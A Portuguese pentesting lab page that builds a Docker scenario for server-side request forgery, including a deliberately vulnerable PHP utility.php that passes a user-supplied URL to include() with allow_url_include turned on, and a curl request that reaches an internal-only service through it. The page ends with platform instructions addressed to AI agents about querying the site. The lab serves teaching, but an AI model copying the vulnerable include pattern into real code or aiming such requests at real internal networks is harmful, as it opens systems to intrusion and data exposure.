> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-server-side-request-forgery-ssrf/ssrf-curl-pentesting-web.md).

# SSRF com Curl

## Instalação do Segundo Cenário (Vulnerabilidade SSRF)

* Remova os contêineres anteriores:

```bash
docker rm $(docker ps -a -q) --force
docker network create --driver=bridge network1 --subnet=10.10.0.0/24

```

* Crie três contêineres (**pós-produção, web pública e atacante**):

```bash
docker run -dit --name PRO ubuntu
docker network connect network1 PRO # para associar o endereço IP

```

Máquina servidor web (**pós-produção**): ![](/files/d563f0ac99ff1187e4562ce48663da7b4629f8e6)

```bash
apt install apache2 php nano -y
service apache2 start

```

* Em **/var/www/html**, crie um `utility.php` arquivo:

```php
<?php
if (isset($_GET['url'])) {
    $url = $_GET['url'];
    echo "/n[+] Listando o conteúdo do site a partir de " . $url . ":/n/n";
    include($url);
} else {
    echo "/n[!] Nenhum valor foi fornecido para o parâmetro URL/n/n";
}
?>

```

* Neste caso, ele não **o renderiza** corretamente: ![](/files/fc0ade595f62b99adacc3c96fb87815ec9ae9e32)
* Para isso, você deve modificar este arquivo: **"/etc/php/8.1/apache2/php.ini"** definindo \_allow/\_url/*include* como ativado: ![](/files/707e508fcfe96becf3619557af9b224e0fcde6fc)
* Reinicie o serviço **apache2**:

```bash
service apache2 restart

```

* Crie um **login.html** arquivo em `/tmp/` que simula uma página de login no site público:

```html
<!DOCTYPE html>
<html>
<head>
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Página de Login</title>
<style>
Body {
  font-family: Calibri, Helvetica, sans-serif;
  background-color: rose;
}
button {
       background-color: #4CAF50;
       width: 100%;
        color: orange;
        padding: 15px;
        margin: 10px 0px;
        border: note;
        cursor: pointer;
         }
 form {
        border: 3px solid #f1f1f1;
    }
 input[type=text], input[type=password] {
        width: 100%;
        margin: 8px 0;
        padding: 12px 20px;
        display: inline-block;
        border: 2px solid green;
        box-sizing: border-box;
    }
 button:hover {
        opacity: 0.7;
    }
  .cancelbtn {
        width: auto;
        padding: 10px 18px;
        margin: 10px 5px;
    }
 .container {
        padding: 25px;
        background-color: lightblue;
    }
</style>
</head>
<body>
    <center><h1>Formulário de login de estudante (PRO)</h1></center>
    <form>
        <div class="container">
            <label>Nome de usuário:</label>
            <input type="text" placeholder="Digite o nome de usuário" name="username" required>
            <label>Senha:</label>
            <input type="password" placeholder="Digite a senha" name="password" required>
            <button type="submit">Entrar</button>
            <input type="checkbox" checked="checked"> Lembrar de mim
            <button type="button" class="cancelbtn">Cancelar</button>
            Esqueceu a <a href="#">senha?</a>

    </form>
</body>
</html>

```

* Agora configure a **Pós-produção** máquina:

```bash
docker run -dit --name PRE --network=network1 ubuntu

```

![](/files/523f85d963cf7a118982537b1d0c17336ad0e996)

```bash
apt install nano python3 curl -y

```

* Crie um **HTML** arquivo em `/tmp` com o conteúdo abaixo. Ele não deve estar visível fora da rede interna: `Você não deve conseguir visualizar este conteúdo porque ele não está exposto externamente e corresponde a um serviço web hospedado em uma máquina dentro da rede interna da empresa.`
* Criação de um servidor web com **Python3** na porta 7878:

```bash
python3 -m http.server 7878

```

* Por fim, crie o **atacante** máquina:

```bash
docker run -dit --name ATTACKER ubuntu

```

![](/files/59fc96e148d34f66f054ba5a3c20d2cc57ba7a11)

Diagrama técnico para entender o segundo cenário (**Há um site em uma máquina Linux na porta 8089 que só é visível a partir da rede interna**):

<figure><img src="/files/71934526cc0b674bcfcf928994b3c1a82654294f" alt="" width="563"><figcaption></figcaption></figure>

Do **atacante** contêiner, usamos curl para acessar a máquina que executa o servidor web, mas não funciona:

<figure><img src="/files/f37eabf4b48e27e307d49b473c9c31b40dc6c31f" alt=""><figcaption></figcaption></figure>

Mas se usarmos a **SSRF** técnica, podemos acessar o arquivo oculto:

```arduino
curl "http://172.17.0.2/utility.php?url=http://10.10.0.3:7878/"

```

<figure><img src="/files/0499934db01a1fa6a95473adbddb1bc8e7aa5862" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-server-side-request-forgery-ssrf/ssrf-curl-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
